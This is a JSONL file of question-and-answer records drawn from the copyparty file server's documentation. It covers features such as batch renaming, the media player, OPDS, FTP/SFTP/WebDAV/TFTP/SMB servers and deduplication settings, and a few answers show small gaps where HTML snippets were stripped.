{"id": "gh_5f57d8fc0900", "question": "How to: incoming files", "question_body": "About 9001/copyparty", "answer": "the control-panel shows the ETA for all incoming files  , but only for files being uploaded into volumes where you have read-access\n\n![copyparty-cpanel-upload-eta-or8](https://github.com/user-attachments/assets/fd275ffa-698c-4fca-a307-4d2181269a6a)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780331"}
{"id": "gh_b18848b22fd0", "question": "How to: file manager", "question_body": "About 9001/copyparty", "answer": "cut/paste, rename, and delete files/folders (if you have permission)\n\nfile selection: click somewhere on the line (not the link itself), then:\n* `space` to toggle\n* `up/down` to move\n* `shift-up/down` to move-and-select\n* `ctrl-shift-up/down` to also scroll\n* shift-click another line for range-select\n\n* cut: select some files and `ctrl-x`\n* copy: select some files and `ctrl-c`\n* paste: `ctrl-v` in another folder\n* rename: `F2`\n\nyou can copy/move files across browser tabs (cut/copy in one tab, paste in another)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780337"}
{"id": "gh_da776f6210c9", "question": "How to: batch rename", "question_body": "About 9001/copyparty", "answer": "select some files and press `F2` to bring up the rename UI\n\n![batch-rename-fs8](https://user-images.githubusercontent.com/241032/128434204-eb136680-3c07-4ec7-92e0-ae86af20c241.png)\n\nquick explanation of the buttons,  \n* `[✅ apply rename]` confirms and begins renaming\n* `[❌ cancel]` aborts and closes the rename window\n* `[↺ reset]` reverts any filename changes back to the original name\n* `[decode]` does a URL-decode on the filename, fixing stuff like `&` and `%20`\n* `[advanced]` toggles advanced mode\n\nadvanced mode: rename files based on rules to decide the new names, based on the original name (regex), or based on the tags collected from the file (artist/title/...), or a mix of both\n\nin advanced mode,  \n* `[case]` toggles case-sensitive regex\n* `regex` is the regex pattern to apply to the original filename; any files which don't match will be skipped\n* `format` is the new filename, taking values from regex capturing groups and/or from file tags\n  * very loosely based on foobar2000 syntax\n* `presets` lets you save rename rules for later\n\navailable functions:\n* `$lpad(text, length, pad_char)`\n* `$rpad(text, length, pad_char)`\n\ntwo counters are available; `.n.s` is the nth file in the selection, and `.n.d` the nth file in the folder, for example rename-output `file(.n.d).(ext)` gives `file5.bin`, and `beach-$lpad((.n.s),3,0).(ext)` is `beach-017.jpg` and the initial value of each counter can be set in the textboxes underneath the preset dropdown\n\nso,\n\nsay you have a file named [`meganeko - Eclipse - 07 Sirius A.mp3`](https://www.youtube.com/watch?v=-dtb0vDPruI) (absolutely fantastic album btw) and the tags are: `Album:Eclipse`, `Artist:meganeko`, `Title:Sirius A`, `tn:7`\n\nyou could use just regex to rename it:\n* `regex` = `(.*) - (.*) - ([0-9]{2}) (.*)`\n* `format` = `(3). (1) - (4)`\n* `output` = `07. meganeko - Sirius A.mp3`\n\nor you could use just tags:\n* `format` = `$lpad((tn),2,0). (artist) - (title).(ext)`\n* `output` = `7. meganeko - Sirius A.mp3`\n\nor a mix of both:\n* `regex` = ` - ([0-9]{2}) `\n* `format` = `(1). (artist) - (title).(ext)`\n* `output` = `07. meganeko - Sirius A.mp3`\n\nthe metadata keys you can use in the format field are the ones in the file-browser table header (whatever is collected with `-mte` and `-mtp`)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780353"}
{"id": "gh_942b50d8177a", "question": "How to: opds feeds", "question_body": "About 9001/copyparty", "answer": "browse and download files from your e-book reader\n\nenabled with the `opds` volflag or `--opds` global option\n\nadd `?opds` to the end of the url you would like to browse, then input that in your opds client.\nfor example: `https://copyparty.example/books/?opds`.\n\nto log in with a password, enter it into either of the username or password fields in your client.\n\n- if you've enabled `--usernames`, then you need to enter both username and password .\n\nnote: some clients (e.g. Moon+ Reader) will not send the password when downloading cover images, which will\ncause your ip to be banned by copyparty. to work around this, you can grant the [`g` permission](#accounts-and-volumes)\nto unauthenticated requests and enable [filekeys](#filekeys) to prevent guessing filenames. for example:\n`-vbooks:books:r,ed:g:c,fk,opds`\n\nby default, not all file types will be listed in opds feeds. to change this, add the extension to \n`--opds-exts` (volflag: `opds_exts`), or empty the list to list everything", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780361"}
{"id": "gh_59e1fc599a67", "question": "How to: recent uploads", "question_body": "About 9001/copyparty", "answer": "list all recent uploads  by clicking \"show recent uploads\" in the controlpanel\n\nwill show uploader IP and upload-time if the visitor has the admin permission\n\n* global-option `--ups-when` makes upload-time visible to all users, and not just admins\n\n* global-option `--ups-who` (volflag `ups_who`) specifies who gets access (0=nobody, 1=admins, 2=everyone), default=2\n\nnote that the [🧯 unpost](#unpost) feature is better suited for viewing *your own* recent uploads, as it includes the option to undo/delete them\n\nconfig file example:\n\n```yaml\n[global]\n  ups-when    # everyone can see upload times\n  ups-who: 1  # but only admins can see the list,\n              # so ups-when doesn't take effect\n```", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780375"}
{"id": "gh_7eb3e6c6c4cb", "question": "How to: media player", "question_body": "About 9001/copyparty", "answer": "plays almost every audio format there is  (if the server has FFmpeg installed for on-demand transcoding)\n\nthe following audio formats are usually always playable, even without FFmpeg: `aac|flac|m4a|mp3|ogg|opus|wav`\n\nsome highlights:\n* OS integration; control playback from your phone's lockscreen ([windows](https://user-images.githubusercontent.com/241032/233213022-298a98ba-721a-4cf1-a3d4-f62634bc53d5.png) // [iOS](https://user-images.githubusercontent.com/241032/142711926-0700be6c-3e31-47b3-9928-53722221f722.png) // [android](https://user-images.githubusercontent.com/241032/233212311-a7368590-08c7-4f9f-a1af-48ccf3f36fad.png))\n* shows the audio waveform in the seekbar\n* not perfectly gapless but can get really close (see settings + eq below); good enough to enjoy gapless albums as intended\n* videos can be played as audio, without wasting bandwidth on the video\n* adding `?v` to the end of an audio/video/image link will make it open in the mediaplayer\n\nclick the `play` link next to an audio file, or copy the link target to [share it](https://a.ocv.me/pub/demo/music/Ubiktune%20-%20SOUNDSHOCK%202%20-%20FM%20FUNK%20TERRROR!!/#af-1fbfba61&t=18) (optionally with a timestamp to start playing from, like that example does)\n\nopen the `[🎺]` media-player-settings tab to configure it,\n* \"switches\":\n  * `[🔁]` repeats one single song forever\n  * `[🔀]` shuffles the files inside each folder\n  * `[preload]` starts loading the next track when it's about to end, reduces the silence between songs\n  * `[full]` does a full preload by downloading the entire next file; good for unreliable connections, bad for slow connections\n  * `[~s]` toggles the seekbar waveform display\n  * `[/np]` enables buttons to copy the now-playing info as an irc message\n  * `[📻]` enables buttons to create an [m3u playlist](#playlists) with the selected songs\n  * `[os-ctl]` makes it possible to control audio playback from the lockscreen of your device (enables [mediasession](https://developer.mozilla.org/en-US/docs/Web/API/MediaSession))\n  * `[seek]` allows seeking with lockscreen controls (buggy on some devices)\n  * `[art]` shows album art on the lockscreen\n  * `[🎯]` keeps the playing song scrolled into view (good when using the player as a taskbar dock)\n  * `[⟎]` shrinks the playback controls\n* \"buttons\":\n  * `[uncache]` may fix songs that won't play correctly due to bad files in browser cache\n* \"at end of folder\":\n  * `[loop]` keeps looping the folder\n  * `[next]` plays into the next folder\n* \"transcode\":\n  * `[flac]` converts `flac` and `wav` files into opus (if supported by browser) or mp3\n  * `[aac]` converts `aac` and `m4a` files into opus (if supported by browser) or mp3\n  * `[oth]` converts all other known formats into opus (if supported by browser) or mp3\n    * `aac|ac3|aif|aiff|alac|alaw|amr|ape|au|dfpwm|dts|flac|gsm|it|m4a|mo3|mod|mp2|mp3|mpc|mptm|mt2|mulaw|ogg|okt|opus|ra|s3m|tak|tta|ulaw|wav|wma|wv|xm|xpk`\n* \"transcode to\":\n  * `[opus]` produces an `opus` whenever transcoding is necessary (the best choice on Android and PCs)\n  * `[awo]` is `opus` in a `weba` file, good for iPhones (iOS 17.5 and newer) but Apple is still fixing some state-confusion bugs as of iOS 18.2.1\n  * `[caf]` is `opus` in a `caf` file, good for iPhones (iOS 11 through 17), technically unsupported by Apple but works for the most part\n  * `[mp3]` -- the myth, the legend, the undying master of mediocre sound quality that definitely works everywhere\n  * `[flac]` -- lossless but compressed, for LAN and/or fiber playback on electrostatic headphones\n  * `[wav]` -- lossless and uncompressed, for LAN and/or fiber playback on electrostatic headphones connected to very old equipment\n    * `flac` and `wav` must be enabled with `--allow-flac` / `--allow-wav` to allow spending the disk space\n* \"tint\" reduces the contrast of the playback bar", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780394"}
{"id": "gh_b01dbb499de5", "question": "How to: creating a playlist", "question_body": "About 9001/copyparty", "answer": "with a standalone mediaplayer or copyparty\n\nyou can use foobar2000, deadbeef, just about any standalone player should work -- but you might need to edit the filepaths in the playlist so they fit with the server-URLs\n\nalternatively, you can create the playlist using copyparty itself:\n\n* open the `[🎺]` media-player-settings tab and enable the `[📻]` create-playlist feature -- this adds two new buttons in the bottom-right tray, `[📻add]` and `[📻copy]` which appear when you listen to music, or when you select a few audiofiles\n\n* click the `📻add` button while a song is playing (or when you've selected some songs) and they'll be added to \"the list\" (you can't see it yet)\n\n* at any time, click `📻copy` to send the playlist to your clipboard\n  * you can then continue adding more songs if you'd like\n  * if you want to wipe the playlist and start from scratch, just refresh the page\n\n* create a new textfile, name it `something.m3u` and paste the playlist there", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780404"}
{"id": "gh_98ce4fe6425c", "question": "How to: audio equalizer", "question_body": "About 9001/copyparty", "answer": "and [dynamic range compressor](https://en.wikipedia.org/wiki/Dynamic_range_compression)\n\ncan also boost the volume in general, or increase/decrease stereo width (like [crossfeed](https://www.foobar2000.org/components/view/foo_dsp_meiercf) just worse)\n\nhas the convenient side-effect of reducing the pause between songs, so gapless albums play better with the eq enabled (just make it flat)\n\nnot available on iPhones / iPads because AudioContext currently breaks background audio playback on iOS (15.7.8)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780409"}
{"id": "gh_1c12214df7b1", "question": "How to: fix unreliable playback on android", "question_body": "About 9001/copyparty", "answer": "due to phone / app settings,  android phones may randomly stop playing music when the power saver kicks in, especially at the end of an album -- you can fix it by [disabling power saving](https://user-images.githubusercontent.com/241032/235262123-c328cca9-3930-4948-bd18-3949b9fd3fcf.png) in the [app settings](https://user-images.githubusercontent.com/241032/235262121-2ffc51ae-7821-4310-a322-c3b7a507890c.png) of the browser you use for music streaming (preferably a dedicated one)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780414"}
{"id": "gh_d2ae68a5f3b3", "question": "How to: textfile viewer", "question_body": "About 9001/copyparty", "answer": "with realtime streaming of logfiles and such ([demo](https://a.ocv.me/pub/demo/logtail/))  , and terminal colors work too\n\nclick `-txt-` next to a textfile to open the viewer, which has the following toolbar buttons:\n\n* `✏️ edit` opens the textfile editor\n* `📡 follow` starts monitoring the file for changes, streaming new lines in realtime\n  * similar to `tail -f`\n  * [link directly](https://a.ocv.me/pub/demo/logtail/?doc=lipsum.txt&tail) to a file with tailing enabled by adding `&tail` to the textviewer URL", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780421"}
{"id": "gh_d6c784fc7531", "question": "How to: markdown viewer", "question_body": "About 9001/copyparty", "answer": "and there are *two* editors\n\n![copyparty-md-read-fs8](https://user-images.githubusercontent.com/241032/115978057-66419080-a57d-11eb-8539-d2be843991aa.png)\n\nthere is a built-in extension for inline clickable thumbnails;\n* enable it by adding `\n` somewhere in the doc\n* add thumbnails with `!th[l](your.jpg)` where `l` means left-align (`r` = right-align)\n* a single line with `---` clears the float / inlining\n* in the case of README.md being displayed below a file listing, thumbnails will open in the gallery viewer\n\nother notes,\n* the document preview has a max-width which is the same as an A4 paper when printed", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780427"}
{"id": "gh_0cb2c2a73be2", "question": "How to: markdown vars", "question_body": "About 9001/copyparty", "answer": "dynamic docs with serverside variable expansion  to replace stuff like `{{self.ip}}` with the client's IP, or `{{srv.htime}}` with the current time on the server\n\nsee [./srv/expand/](./srv/expand/) for usage and examples", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780432"}
{"id": "gh_a29182b93435", "question": "How to: other tricks", "question_body": "About 9001/copyparty", "answer": "* you can link a particular timestamp in an audio file by adding it to the URL, such as `&20` / `&20s` / `&1m20` / `&t=1:20` after the `.../#af-c8960dab`\n\n* enabling the audio equalizer can help make gapless albums fully gapless in some browsers (chrome), so consider leaving it on with all the values at zero\n\n* get a plaintext file listing by adding `?ls=t` to a URL, or a compact colored one with `?ls=v` (for unix terminals)\n\n* if you are using media hotkeys to switch songs and are getting tired of seeing the OSD popup which Windows doesn't let you disable, consider [./contrib/media-osd-bgone.ps1](contrib/#media-osd-bgoneps1)\n\n* click the bottom-left `π` to open a javascript prompt for debugging\n\n* files named `.prologue.html` / `.epilogue.html` will be rendered before/after directory listings unless `--no-logues`\n\n* files named `descript.ion` / `DESCRIPT.ION` are parsed and displayed in the file listing, or as the epilogue if nonstandard\n\n* files named `README.md` / `readme.md` will be rendered after directory listings unless `--no-readme` (but `.epilogue.html` takes precedence)\n\n  * and `PREADME.md` / `preadme.md` is shown above directory listings unless `--no-readme` or `.prologue.html`\n\n* `README.md` and `*logue.html` can contain placeholder values which are replaced server-side before embedding into directory listings; see [`--help-exp`](https://copyparty.eu/cli/#exp-help-page)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780441"}
{"id": "gh_360cc7814e29", "question": "How to: ftp server", "question_body": "About 9001/copyparty", "answer": "an FTP server can be started using `--ftp 3921`,  and/or `--ftps` for explicit TLS (ftpes)\n\n* based on [pyftpdlib](https://github.com/giampaolo/pyftpdlib)\n* needs a dedicated port (cannot share with the HTTP/HTTPS API)\n* uploads are not resumable -- delete and restart if necessary\n* runs in active mode by default, you probably want `--ftp-pr 12000-13000`\n  * if you enable both `ftp` and `ftps`, the port-range will be divided in half\n  * some older software (filezilla on debian-stable) cannot passive-mode with TLS\n* login with any username + your password, or put your password in the username field\n  * unless you enabled `--usernames`\n\nsome recommended FTP / FTPS clients; `wark` = example password:\n* https://winscp.net/eng/download.php\n* https://filezilla-project.org/ struggles a bit with ftps in active-mode, but is fine otherwise\n* https://rclone.org/ does FTPS with `tls=false explicit_tls=true`\n* `lftp -u k,wark -p 3921 127.0.0.1 -e ls`\n* `lftp -u k,wark -p 3990 127.0.0.1 -e 'set ssl:verify-certificate no; ls'`\n* `curl ftp://127.0.0.1:3921/` (plaintext ftp)\n* `curl --ssl-reqd ftp://127.0.0.1:3990/` (encrypted ftps)\n\nconfig file example, which restricts FTP to only use ports 3921 and 12000-12099 so all of those ports must be opened in your firewall:\n\n```yaml\n[global]\n  ftp: 3921\n  ftp-pr: 12000-12099\n```", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780459"}
{"id": "gh_14a18d4798cb", "question": "How to: sftp server", "question_body": "About 9001/copyparty", "answer": "goes roughly 700 MiB/s (slower than webdav and ftp)\n\n> this is **not** [ftps](#ftp-server) (which copyparty also supports); [ftps](#ftp-server) is ftp-tls (think http/https), while **sftp** is ssh-based and (preferably) uses ssh-keys for authentication\n\nthe sftp-server requires the optional dependency [paramiko](https://pypi.org/project/paramiko/);\n* if you are **not** using docker, then install paramiko somehow\n* if you **are** using docker, then use one of the following image variants: `ac` / `im` / `iv` / `dj`\n\nenable sftpd with `--sftp 3922` to listen on port 3922;\n* use global-option `sftp-key` to associate an ssh-key with a user;\n  * commandline: `--sftp-key 'david ssh-ed25519 AAAAC3NzaC...'`\n  * config-file: `sftp-key: david ssh-ed25519 AAAAC3NzaC...`\n* `--sftp-pw` enables login with passwords (default is ssh-keys only)\n* `--sftp-anon foo` enables login with username `foo` and no password; gives the same access/permissions as the website does when not logged in\n\nsee the [sftp section in --help](https://copyparty.eu/cli/#g-sftp) for the other options", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780465"}
{"id": "gh_a921c5917ea7", "question": "How to: webdav server", "question_body": "About 9001/copyparty", "answer": "with read-write support,  supports winXP and later, macos, nautilus/gvfs  ... a great way to [access copyparty straight from the file explorer in your OS](#mount-as-drive)\n\nclick the [connect](http://127.0.0.1:3923/?hc) button in the control-panel to see connection instructions for windows, linux, macos\n\ngeneral usage:\n* login with any username + your password, or put your password in the username field (password field can be empty/whatever)\n  * unless you enabled `--usernames`\n\non macos, connect from finder:\n* [Go] -> [Connect to Server...] -> http://192.168.123.1:3923/\n\nto upload or edit files with WebDAV clients, enable the `daw` volflag (because most WebDAV clients expect this) and give your account the delete-permission. This avoids getting several copies of the same file on the server. HOWEVER: This will also make all PUT-uploads overwrite existing files if the user has delete-access, so use with caution.\n\n> note: if you have enabled [IdP authentication](#identity-providers) then that may cause issues for some/most webdav clients; see [the webdav section in the IdP docs](https://github.com/9001/copyparty/blob/hovudstraum/docs/idp.md#connecting-webdav-clients)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780472"}
{"id": "gh_f8ff251e1f5c", "question": "How to: connecting to webdav from windows", "question_body": "About 9001/copyparty", "answer": "using the GUI  (winXP or later):\n* rightclick [my computer] -> [map network drive] -> Folder: `http://192.168.123.1:3923/`\n  * on winXP only, click the `Sign up for online storage` hyperlink instead and put the URL there\n  * providing your password as the username is recommended; the password field can be anything or empty\n    * unless you enabled `--usernames`\n\nthe webdav client that's built into windows has the following list of bugs; you can avoid all of these by connecting with rclone instead:\n* win7+ doesn't actually send the password to the server when reauthenticating after a reboot unless you first try to login with an incorrect password and then switch to the correct password\n  * or just type your password into the username field instead to get around it entirely\n* connecting to a folder which allows anonymous read will make writing impossible, as windows has decided it doesn't need to login\n  * workaround: connect twice; first to a folder which requires auth, then to the folder you actually want, and leave both of those mounted\n  * or set the server-option `--dav-auth` to force password-auth for all webdav clients\n* win7+ may open a new tcp connection for every file and sometimes forgets to close them, eventually needing a reboot\n  * maybe NIC-related (??), happens with win10-ltsc on e1000e but not virtio\n* windows cannot access folders which contain filenames with invalid unicode or forbidden characters (`<>:\"/\\|?*`), or names ending with `.`\n* winxp cannot show unicode characters outside of *some range*\n  * latin-1 is fine, hiragana is not (not even as shift-jis on japanese xp)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780479"}
{"id": "gh_7997bcf227f9", "question": "How to: tftp server", "question_body": "About 9001/copyparty", "answer": "a TFTP server (read/write) can be started using `--tftp 3969`  (you probably want [ftp](#ftp-server) instead unless you are *actually* communicating with hardware from the 90s (in which case we should definitely hang some time))\n\n> that makes this the first RTX DECT Base that has been updated using copyparty 🎉\n\n* based on [partftpy](https://github.com/9001/partftpy)\n* no accounts; read from world-readable folders, write to world-writable, overwrite in world-deletable\n* needs a dedicated port (cannot share with the HTTP/HTTPS API)\n  * run as root (or see below) to use the spec-recommended port `69` (nice)\n* can reply from a predefined portrange (good for firewalls)\n* only supports the binary/octet/image transfer mode (no netascii)\n* [RFC 7440](https://datatracker.ietf.org/doc/html/rfc7440) is **not** supported, so will be extremely slow over WAN\n  * assuming default blksize (512), expect 1100 KiB/s over 100BASE-T, 400-500 KiB/s over wifi, 200 on bad wifi\n\nmost clients expect to find TFTP on port 69, but on linux and macos you need to be root to listen on that. Alternatively, listen on 3969 and use NAT on the server to forward 69 to that port;\n* on linux: `iptables -t nat -A PREROUTING -i eth0 -p udp --dport 69 -j REDIRECT --to-port 3969`\n\nsome recommended TFTP clients:\n* curl (cross-platform, read/write)\n  * get: `curl --tftp-blksize 1428 tftp://127.0.0.1:3969/firmware.bin`\n  * put: `curl --tftp-blksize 1428 -T firmware.bin tftp://127.0.0.1:3969/`\n* windows: `tftp.exe` (you probably already have it)\n  * `tftp -i 127.0.0.1 put firmware.bin`\n* linux: `tftp-hpa`, `atftp`\n  * `atftp --option \"blksize 1428\" 127.0.0.1 3969 -p -l firmware.bin -r firmware.bin`\n  * `tftp -v -m binary 127.0.0.1 3969 -c put firmware.bin`", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780491"}
{"id": "gh_dc62ffd5bcd6", "question": "How to: smb server", "question_body": "About 9001/copyparty", "answer": "unsafe, slow, not recommended for wan,  enable with `--smb` for read-only or `--smbw` for read-write\n\nclick the [connect](http://127.0.0.1:3923/?hc) button in the control-panel to see connection instructions for windows, linux, macos\n\ndependencies: `python3 -m pip install --user -U impacket==0.13.0`\n* newer versions of impacket will hopefully work just fine but there is monkeypatching so maybe not\n\nsome **BIG WARNINGS** specific to SMB/CIFS, in decreasing importance:\n* not entirely confident that read-only is read-only\n* the smb backend is not fully integrated with vfs, meaning there could be security issues (path traversal). Please use `--smb-port` (see below) and [prisonparty](./bin/prisonparty.sh) or [bubbleparty](./bin/bubbleparty.sh)\n  * account passwords work per-volume as expected, and so does account permissions (read/write/move/delete), but `--smbw` must be given to allow write-access from smb\n  * [shadowing](#shadowing) probably works as expected but no guarantees\n* not compatible with pw-hashing or `--usernames`\n\nand some minor issues,\n* clients only see the first ~400 files in big folders;\n  * this was originally due to [impacket#1433](https://github.com/SecureAuthCorp/impacket/issues/1433) which was fixed in impacket-0.12, so you can disable the workaround with `--smb-nwa-1` but then you get unacceptably poor performance instead\n* hot-reload of server config (`/?reload=cfg`) does not include the `[global]` section (commandline args)\n* listens on the first IPv4 `-i` interface only (default = :: = 0.0.0.0 = all)\n* login doesn't work on winxp, but anonymous access is ok -- remove all accounts from copyparty config for that to work\n  * win10 onwards does not allow connecting anonymously / without accounts\n* python3 only\n* slow (the builtin webdav support in windows is 5x faster, and rclone-webdav is 30x faster)\n  * those numbers are specifically for copyparty's smb-server (because it sucks); other smb-servers should be similar to webdav\n\nknown client bugs:\n* on win7 only, `--smb1` is much faster than smb2 (default) because it keeps rescanning folders on smb2\n  * however smb1 is buggy and is not enabled by default on win10 onwards\n* windows cannot access folders which contain filenames with invalid unicode or forbidden characters (`<>:\"/\\|?*`), or names ending with `.`\n\nthe smb protocol listens on TCP port 445, which is a privileged port on linux and macos, which would require running copyparty as root. However, this can be avoided by listening on another port using `--smb-port 3945` and then using NAT on the server to forward the traffic from 445 to there;\n* on linux: `iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 445 -j REDIRECT --to-port 3945`\n\nauthenticate with one of the following:\n* username `$username`, password `$password`\n* username `$password`, password `k`", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780502"}
{"id": "gh_9953521c47b6", "question": "How to: browser ux", "question_body": "About 9001/copyparty", "answer": "tweaking the ui\n\n* set default sort order globally with `--sort` or per-volume with the `sort` volflag; specify one or more comma-separated columns to sort by, and prefix the column name with `-` for reverse sort\n  * the column names you can use are visible as tooltips when hovering over the column headers in the directory listing, for example `href ext sz ts tags/.up_at tags/Circle tags/.tn tags/Artist tags/Title`\n  * to sort in music order (album, track, artist, title) with filename as fallback, you could `--sort tags/Circle,tags/.tn,tags/Artist,tags/Title,href`\n  * to sort by upload date, first enable showing the upload date in the listing with `-e2d -mte +.up_at` and then `--sort tags/.up_at`\n\nsee [./docs/rice](./docs/rice) for more, including:\n* how to [hide ui-elements](./docs/rice/README.md#hide-ui-elements)\n* [custom fonts](./docs/rice/README.md#custom-fonts)\n* [custom loading-spinner](./docs/rice/README.md#boring-loader-spinner)\n* adding stuff (css/`\n`/...) [to the html `` tag](./docs/rice/README.md#head)\n* [adding your own translation](./docs/rice/README.md#translations)", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 41036, "answer_score": 10, "has_code": false, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780508"}
{"id": "gh_eb8d5fe44464", "question": "How to: file deduplication", "question_body": "About 9001/copyparty", "answer": "enable symlink-based upload deduplication  globally with `--dedup` or per-volume with volflag `dedup`\n\nby default, when someone tries to upload a file that already exists on the server, the upload will be politely declined, and the server will copy the existing file over to where the upload would have gone\n\nif you enable deduplication with `--dedup` then it'll create a symlink instead of a full copy, thus reducing disk space usage\n\n* on the contrary, if your server is hooked up to s3-glacier or similar storage where reading is expensive, and you cannot use `--safe-dedup=1` because you have other software tampering with your files, so you want to entirely disable detection of duplicate data instead, then you can specify `--no-clone` globally or `noclone` as a volflag\n\n**warning:** when enabling dedup, you should also:\n* enable indexing with `-e2dsa` or volflag `e2dsa` (see [file indexing](#file-indexing) section below); strongly recommended\n* ...and/or `--hardlink-only` to use hardlink-based deduplication instead of symlinks; see explanation below\n* ...and/or `--reflink` to use CoW/reflink-based dedup (much safer than hardlink, but OS/FS-dependent)\n\nit will not be safe to rename/delete files if you only enable dedup and none of the above; if you enable indexing then it is not *necessary* to also do hardlinks (but you may still want to)\n\nby default, deduplication is done based on symlinks (symbolic links); these are tiny files which are pointers to the nearest full copy of the file\n\nyou can choose to use hardlinks instead of softlinks, globally with `--hardlink-only` or volflag `hardlinkonly`, and you can choose to use reflinks with `--reflink` or volflag `reflink`\n\nadvantages of using reflinks (CoW, copy-on-write):\n* entirely safe (when your filesystem supports it correctly); either file can be edited or deleted without affecting other copies\n* only linux 5.3 or newer, only python 3.14 or newer, only some filesystems (btrfs probably ok, maybe xfs too, but zfs had bugs)\n\nadvantages of using hardlinks:\n* hardlinks are more compatible with other software; they behave entirely like regular files\n* you can safely move and rename files using other file managers\n  * symlinks need to be managed by copyparty to ensure the destinations remain correct\n\nadvantages of using symlinks (default):\n* each symlink can have its own last-modified timestamp, but a single timestamp is shared by all hardlinks\n* symlinks make it more obvious to other software that the file is not a regular file, so this can be less dangerous\n  * hardlinks look like regular files, so other software may assume they are safe to edit without affecting the other copies\n\n**warning:** if you edit the contents of a deduplicated file, then you will also edit all other copies of that file! This is especially surprising with hardlinks, because they look like regular files, but that same file exists in multiple locations\n\nglobal-option `--xlink` / volflag `xlink` additionally enables deduplication across volumes, but this is probably buggy and not recommended\n\nconfig file example:\n\n```yaml\n[global]\n  e2dsa  # scan and index filesystem on startup\n  dedup  # symlink-based deduplication for all volumes\n\n[/media]\n  /mnt/nas/media\n  flags:\n    hardlinkonly  # this vol does hardlinks instead of symlinks\n```", "tags": ["9001"], "source": "github_gists", "category": "9001", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 41036, "answer_score": 10, "has_code": true, "url": "https://github.com/9001/copyparty", "collected_at": "2026-01-17T12:55:05.780519"}
